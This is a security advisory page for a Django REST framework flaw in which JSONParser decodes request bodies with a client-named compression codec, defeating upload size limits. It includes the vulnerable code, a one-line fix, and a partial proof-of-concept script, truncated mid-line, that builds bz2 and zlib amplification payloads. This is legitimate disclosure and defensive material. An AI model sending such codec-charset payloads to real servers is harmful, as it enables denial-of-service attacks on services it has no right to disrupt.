Django REST framework: JSONParser applies an attacker-named codec to the request stream
CVE-2026-114136 · GHSA-3547-9m27-7rxg · published 22 Oct 2026
How serious is it
- Severity: high, CVSS score 7.5 out of 10.
- No exploit prediction (EPSS) score yet.
- Not on the CISA list of exploited vulnerabilities.
- No public exploit in Exploit-DB.
Is your app affected by CVE-2026-114136?
Paste this prompt into Claude Code, Cursor or any AI coding tool: it runs a free Shippable scan of your project and fixes what it finds. Built with Lovable, Bolt or v0? Scan your live app. Or upload your package file.
Who is affected
djangorestframework(PyPI) >= 3.6.4, < 3.18.2
How to check
- Run
pip show djangorestframeworkin your project to see the installed version, including copies pulled in by other packages. - Or paste your lockfile into the checker: it lists every package with a known vulnerability, this one included.
- Or run
npx shippable-dev scan localhost:3000in your project folder. It reads your lockfile and flags this vulnerability along with every other known one.
How to fix
Copies a prompt for Claude Code, Cursor or Codex: it checks your lockfiles for this and upgrades it.
- Upgrade
djangorestframeworkto 3.18.2 or later, commit the lockfile and redeploy. - If a vulnerable version was live, check your logs and rotate the secrets that server could read.
The advisory
### Summary
An unauthenticated attacker can defeat Django's `DATA_UPLOAD_MAX_MEMORY_SIZE` limit and force a
worker process to allocate arbitrary memory, by naming a compression codec in the Content-Type
charset parameter. A 108-byte request body produces a 50,331,648-character value inside the view, an
amplification factor of 466,033, and grows process peak RSS by about 97 MiB. No application
configuration is required beyond DRF's default parser set; the endpoint only has to accept a JSON
body.
### Details
`JSONParser.parse` decodes the request body with the charset the client supplied on the Content-Type
header:
```python
# rest_framework/parsers.py
encoding = parser_context.get('encoding', settings.DEFAULT_CHARSET)
try:
decoded_stream = codecs.getreader(encoding)(stream)
parse_constant = json.strict_constant if self.strict else None
return json.load(decoded_stream, parse_constant=parse_constant)
except ValueError as exc:
raise ParseError('JSON parse error - %s' % str(exc))
```
Of the roughly 455 codec names `codecs.lookup` resolves on CPython 3.14, about 18 are byte transforms
instead of character sets: `bz2_codec`, `zlib_codec`, `base64_codec`, `hex_codec`, `quopri_codec`,
`uu_codec` and similar. `codecs.getreader` is the only entry point in the `codecs` module that does
not consult `CodecInfo._is_text_encoding`, so it accepts all of them. Sending
`Content-Type: application/json; charset=bz2_codec` wraps the request stream in a bz2 decompressor
before `json.load` reads it.
The ordering is what makes this exploitable. Django charges `DATA_UPLOAD_MAX_MEMORY_SIZE` against the
bytes that arrived on the wire: `rest_framework/request.py` hands `JSONParser` an
`io.BytesIO(self.body)`, and `HttpRequest.body` is where `_check_data_too_big()` runs. Decompression
happens afterwards, inside the parser, where nothing is counting.
This is DRF's defect and not Django's. Django resolves the charset parameter and assigns
`request.encoding`, and `codecs.lookup` does resolve byte transforms, but every Django consumer of
`request.encoding` goes through the text-codec API and fails closed. Both `bytes.decode('bz2_codec')`
and `str(raw, 'bz2_codec')` raise
`LookupError: 'bz2_codec' is not a text encoding; use codecs.decode() to handle arbitrary codecs`.
DRF is the only caller that hands the request stream to `codecs.getreader`.
`FormParser` (`parsers.py:84`) and `MultiPartParser` (`parsers.py:104-118`) take the same client-named
encoding but fail closed instead of amplifying.
The sink was introduced by `9a228116` (PR #5147, 2017-05-24, "Improve memory footprint when reading
large JSON requests"), first released in 3.6.4. The final comment on that PR observes the intended
memory gain does not hold because `read()` decodes the whole stream, which is the same property that
makes this expansion unbounded. No `_is_text_encoding` check has been added since.
A one-line fix at `parsers.py:61-64`:
```python
if not codecs.lookup(encoding)._is_text_encoding:
raise ParseError('Unsupported charset in Content-Type')
```
### PoC
Save as `poc_charset_amplification.py` and run it. It builds its own payloads, runs each arm in a
fresh subprocess (peak RSS is a high-water mark, so measuring several arms in one process reports
near-zero growth for every arm after the first), and prints a verdict.
```python
#!/usr/bin/env python
"""
django-rest-framework: JSONParser applies an attacker-named codec to the request
stream, defeating DATA_UPLOAD_MAX_MEMORY_SIZE.
Four arms, each in a fresh subprocess because peak RSS is a high-water mark and
measuring several arms in one process reports ~0 growth for every arm after the
first.
T ~108-byte bz2 body, Content-Type: application/json; charset=bz2_codec
C1 48 MiB plaintext, Content-Type: application/json (no charset)
C2 the byte-identical T body, charset=utf-8
C3 zlib body, charset=zlib_codec
The claim is T AND C1 AND C2. C1 proves the size limit is live; C2 proves the
codec name and not the payload is what produces the expansion.
Requires: django, djangorestframework importable. No arguments, nothing to edit.
python poc_charset_amplification.py
Exit status 0 means every arm behaved as described in the advisory.
"""
import hashlib
import json
import os
import subprocess
import sys
import tempfile
PAYLOAD_CHARS = 48 * 1024 * 1024
PAYLOAD_DIR = os.path.join(tempfile.gettempdir(), "drf-charset-amp")
LIMIT = 65536
ARMS = {
"T": ("bz2.bin", "application/json; charset=bz2_codec"),
"C1": ("plain.bin", "application/json"),
"C2": ("bz2.bin", "application/json; charset=utf-8"),
"C3": ("zlib.bin", "application/json; charset=zlib_codec"),
}
EXPECTED = {
"T": "HTTP 200, parsed value orders of magnitude larger than the wire bytes",
"C1": "rejected with RequestDataTooBig, view body never runs",
"C2": "HTTP 400 ParseError on the byte-identical compressed body",
"C3": "HTTP 200, same expansion under a different codec name",
}
VIEW_RAN = []
def build_payloads():
import bz2
import zlib
os.makedirs(PAYLOAD_DIR, exist_ok=True)
plain = b'{"a":"' + b"A" * PAYLOAD_CHARS + b'"}'
blobs = {
"plain.bin": plain,
"bz2.bin": bz2.compress(plain, 9),
"zlib.bin": zlib.compress(plain, 9),
}
for name, blob in blobs.items():
with open(os.path.join(PAYLOAD_DIR, name), "wb") as fh:
fh.write(blob)
return {name: len(blob) for name, blob in blobs.items()}
def configure_django():
from django.conf import settings
settings.configure(
DEBUG=False,
ALLOWED_HOSTS=["testserver"],
SECRET_KEY="poc",
ROOT_URLCONF=__name__,
MIDDLEWARE=[],
INSTALLED_APPS=[
"django.contrib.contenttypes",
"django.contrib.auth",
"rest_framework",
],
DATABASES={
"default": {"ENGINE": "django.db.backends.sqlite3", "NAME": ":memory:"}
},
DEFAULT_CHARSET="utf-…
Check your whole app
Dependencies are only half of it. Free and read-only: before you push, run npx shippable-dev scan localhost:3000 in your project folder, no account needed. For your live app, you prove it's yours with a one-line tag first.
References
- github.com/encode/django-rest-framework/security/advisories/GHSA-3547-9m27-7rxg
- nvd.nist.gov/vuln/detail/CVE-2026-114136
- github.com/encode/django-rest-framework/commit/3c2634599b26a9f789b03045118dbc276117611a
- github.com/encode/django-rest-framework/releases/tag/3.18.2
- github.com/advisories/GHSA-3547-9m27-7rxg
- github.com/encode/django-rest-framework
Merged from GitHub Advisory Database, OSV. Last updated 25 Oct 2026. All vulnerabilities · RSS · JSON